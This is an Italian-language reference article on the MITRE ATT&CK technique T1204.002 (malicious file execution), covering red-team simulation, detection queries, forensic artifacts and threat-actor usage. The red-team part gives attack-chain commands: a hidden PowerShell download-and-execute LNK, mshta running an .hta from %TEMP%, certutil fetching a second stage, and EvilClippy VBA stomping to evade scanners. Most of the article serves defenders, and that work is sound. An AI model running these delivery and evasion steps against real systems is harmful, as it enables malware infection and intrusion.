Esecuzione di File Malevolo: Malicious File (T1204.002)

In un ingaggio red team autorizzato, la simulazione di T1204.002 parte dalla costruzione del lure. Per generare payload Office con macro VBA in ambiente lab si usa comunemente MacroPack Community (open source) oppure EvilClippy (open source) per manipolare i documenti e nascondere il codice VBA agli analizzatori statici. La sintassi tipica è EvilClippy.exe -s decoy.vba -g target.docm per iniettare stomping del p-code, tecnica che rende il source VBA invisibile ma il p-code compilato ancora eseguibile.

Per i payload basati su LNK, il tool di riferimento è LNKUp (open source) o gli script PowerShell di generazione manuale via WScript.Shell. Un LNK che invoca powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('')" rimane il pattern didatticamente più chiaro per mostrare al blue team come un singolo doppio-click possa innescare la catena. L'inserimento in un contenitore ISO — generabile con mkisofs su Linux (open source) o PowerShell New-IsoFile — replica la tattica ampiamente sfruttata da Bumblebee e IcedID per aggirare il Mark-of-the-Web, dato che i file estratti da ISO montate non ereditano la Zone.Identifier.

Per la fase di weaponization con payload eseguibili mascherati, Invoke-Obfuscation (open source) e Donut (open source) permettono di generare shellcode .NET convertito in loader PE, mentre Nim-Shellcode-Loader (open source) o Havoc C2 (open source) offrono framework post-exploitation compatibili con il pattern di consegna via file.

Una catena realistica in laboratorio prevede: (1) documento Word con macro AutoOpen che scrive un file .hta in %TEMP%, (2) esecuzione via mshta.exe %TEMP%\update.hta, (3) download della seconda stage tramite certutil -urlcache -split -f payload.exe, (4) esecuzione del beacon. È la stessa struttura documentata per Emotet, TrickBot e QakBot.

Per social engineering testing, GoPhish (open source) e Evilginx3 (open source) coprono la parte di consegna e tracking del click. Fondamentale, in ogni engagement, concordare con il committente le safe-word nei documenti (metadata custom, watermark) per distinguere il traffico red team dai reali incidenti. Su macOS, la simulazione richiede DMG firmati con certificati di test e attributo com.apple.quarantine per riprodurre fedelmente il percorso Gatekeeper che OSX/Shlayer ha storicamente aggirato.

La detection di T1204.002 si gioca sulla catena parent-child process anomala. Il pattern DET0294 documentato in MITRE si concentra su un'osservazione centrale: un'applicazione user-facing (Word, Excel, Acrobat, un archiver, un browser) che scrive un file in un percorso user-controlled (Downloads, Temp, Desktop, AppData\Local\Temp) e nel giro di pochi minuti genera un processo figlio inatteso come powershell.exe, wscript.exe, cscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe o mshta.exe.

Su Windows la log source primaria è Sysmon (open source, Microsoft), con particolare attenzione a EventID 1 (ProcessCreate), EventID 11 (FileCreate) e EventID 15 (FileCreateStreamHash, per il Mark-of-the-Web nella Zone.Identifier). Una query KQL rappresentativa in Microsoft Defender for Endpoint (a pagamento) filtra DeviceProcessEvents dove InitiatingProcessFileName in ("winword.exe","excel.exe","acrord32.exe","outlook.exe") e FileName in ("powershell.exe","cmd.exe","wscript.exe","mshta.exe","regsvr32.exe","rundll32.exe"). Lo stesso pattern si replica in Splunk (freemium) o Elastic Security (freemium) correlando process.parent.name con process.name.

Estensioni da monitorare con priorità alta: .scr, .pif, .cpl, .hta, .iso, .img, .lnk, .js, .vbs, oltre ai formati Office abilitati alle macro (.docm, .xlsm, .pptm). Un indicatore ad alta fedeltà è la double extension (fattura.pdf.exe) o l'uso di caratteri RTLO per invertire la visualizzazione. La tuning window suggerita è 0-5 minuti tra file write e child spawn, oltre la quale la correlazione perde specificità.

Su macOS le fonti sono Unified Logs ed EndpointSecurity Framework, dove correlare la creazione di file in ~/Downloads o ~/Library con successivi exec di osascript, bash, curl o open -a Terminal. Richiedere la presenza dell'attributo com.apple.quarantine aumenta la fedeltà. Su Linux auditd con regole SYSCALL su open/creat/write seguite da execve di interpreti (bash, python, perl) offre visibilità equivalente.

La mitigazione M1040 (Behavior Prevention on Endpoint) raccomanda l'attivazione delle Attack Surface Reduction rules di Microsoft Defender, in particolare "Block all Office applications from creating child processes" (GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A) e "Block Office applications from creating executable content". Falsi positivi tipici arrivano da tool di automation legittima (RPA, macro amministrative approvate) e da software di installazione che genera child process leciti: una allowlist per publisher firmati e per specifiche macro business-critical riduce drasticamente il rumore.

L'analisi forense di T1204.002 ricostruisce la sequenza dal momento della ricezione del file fino all'esecuzione del payload. Il primo tassello è il Mark-of-the-Web: su NTFS la presenza dell'Alternate Data Stream :Zone.Identifier con ZoneId=3 (Internet) o ZoneId=4 (Untrusted) conferma la provenienza da download. Il comando Get-Item C:\Users<user>\Downloads\file.docm -Stream Zone.Identifier | Get-Content mostra anche ReferrerUrl e HostUrl nelle versioni recenti di Windows, dati preziosi per attribuire la fonte.

Per i documenti Office, l'analisi statica con oletools (open source, in particolare olevba e oleid) estrae macro VBA, stringhe sospette e indicatori di stomping. oledump.py di Didier Stevens (open source) permette di navigare gli stream OLE. Sui formati OOXML (docx/xlsx/docm) è sufficiente unzip per accedere a word/vbaProject.bin. pdf-parser e peepdf (open source) coprono l'analisi PDF, evidenziando /JS, /JavaScript, /OpenAction, /Launch che indicano esecuzione automatica.

Gli artefatti Windows chiave per la timeline includono: Prefetch in *C:\Windows\Prefetch* per confermare la prima esecuzione (parsing con PECmd di Eric Zimmerman, open source); UserAssist in NTUSER.DAT per il tracking GUI (parsing con RegRipper, open source); ShimCache e AmCache in SYSTEM hive e Amcache.hve per binari eseguiti anche solo una volta (AmcacheParser, open source); Jump Lists in *AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations* per ricostruire quali documenti sono stati aperti da quale applicazione (JLECmd, open source). Per gli LNK malevoli, LECmd (open source) estrae target path, argomenti nascosti e MAC address della macchina di origine dei metadata.

Gli Office MRU in *HKCU\Software\Microsoft\Office<version><app>\User MRU* e i file TrustRecords in Security\Trusted Documents rivelano quali documenti hanno ricevuto approvazione manuale delle macro dall'utente. L'analisi email lato Exchange o Microsoft 365 tramite Message Trace o via .pst/.ost con libpff (open source) o Kernel Outlook PST Viewer (freemium) chiude il cerchio con il vettore di consegna.

Su macOS l'attributo esteso com.apple.quarantine interrogabile con xattr -l file.dmg e il database ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 forniscono la timeline dei download. Le campagne documentate come Operation Dream Job, Operation Sharpshooter e Operation Honeybee hanno lasciato pattern ricorrenti — documenti Word con macro AutoOpen, lure a tema recruitment o COVID — che restano riferimenti utili per confrontare TTP nel case work.

L'uso di T1204.002 attraversa l'intero spettro degli attori. Tra i gruppi state-sponsored, APT29 (attribuito storicamente all'SVR russo) impiega documenti Word, PDF e file LNK in operazioni di lunga durata, con qualità di weaponization elevata testimoniata dalla campagna che ha coinvolto EnvyScout, BoomBox e NativeZone. APT28 (GRU) predilige Office con macro in operazioni di intelligence gathering contro governi e settore difesa. Sandworm Team, sempre GRU, ha usato la tecnica nel 2015 Ukraine Electric Power Attack (C0028) con Office macro che hanno preceduto il deployment di BlackEnergy e KillDisk sulla rete elettrica ucraina.

L'ecosistema nordcoreano è dominante. Lazarus Group ha condotto Operation Sharpshooter (C0013) e Operation Dream Job (C0022) sfruttando lure di recruitment nel settore difesa e aerospazio, targeting Stati Uniti, Israele, Australia e Russia. APT37 e APT38 condividono TTP simili, con macro Office e LNK come vettore preferito. Kimsuky ha industrializzato l'uso di LNK con nomi tailored ed estensioni fake, mentre Andariel e Moonstone Sleet (quest'ultimo con installer PuTTY trojanizzati) e Contagious Interview (via finti coding test) confermano l'evoluzione verso lure altamente contestualizzati.

L'area cinese vede APT12, APT30, Mustang Panda, menuPass, BRONZE BUTLER, Naikon e Threat Group-3390 operare con documenti Office e LNK contro target governativi e industriali in Asia-Pacifico. Mustang Panda in particolare ha condotto RedDelta Modified PlugX Infection Chain Operations (C0047) dal 2023 al 2024, distribuendo LNK malevoli per caricare PlugX in East e Southeast Asia. Sul fronte iraniano APT33, APT39, MuddyWater, OilRig e Magic Hound convergono sullo stesso pattern.

Nel cybercrime finanziario il quadro è altrettanto denso. FIN7 ha spinto la tecnica fino all'uso di immagini cliccabili che nascondono LNK, distribuendo JSS Loader e Harpy. TA505, Wizard Spider (Emotet, TrickBot, Bazar), Indrik Spider e EXOTIC LILY rappresentano la spina dorsale della distribuzione di loader che alimentano ecosistemi ransomware. Le campagne più recenti come C0015 e Water Curupira Pikabot Distribution (C0037) mostrano l'evoluzione verso ZIP protetti da password contenenti JavaScript offuscato o IMG con LNK che simulano documenti Word, tecnica raffinata dopo il takedown di QakBot.

Il trend consolidato è il passaggio da macro Office (progressivamente bloccate di default da Microsoft) verso container ISO/IMG/VHD, LNK weaponizzati e installer MSI trojanizzati, come mostrano Bumblebee, Latrodectus, DarkGate e Lumma Stealer.

MITRE ATT&CK T1204.002 (Malicious File), tattica TA0002. Campagne referenziate: C0001, C0005, C0006, C0011, C0013, C0015, C0016, C0022, C0028, C0037, C0047. Mitigazioni M1017, M1038, M1040. Detection DET0294 con analytics AN0819 (Windows/Sysmon), AN0820 (macOS/EndpointSecurity), AN0821 (Linux/auditd). Integrata conoscenza professionale su tool di analisi forense (oletools, Eric Zimmerman suite, RegRipper), framework di simulazione red team (MacroPack, EvilClippy, Havoc, GoPhish) e piattaforme SIEM/EDR (Sysmon, Microsoft Defender for Endpoint, Splunk, Elastic Security).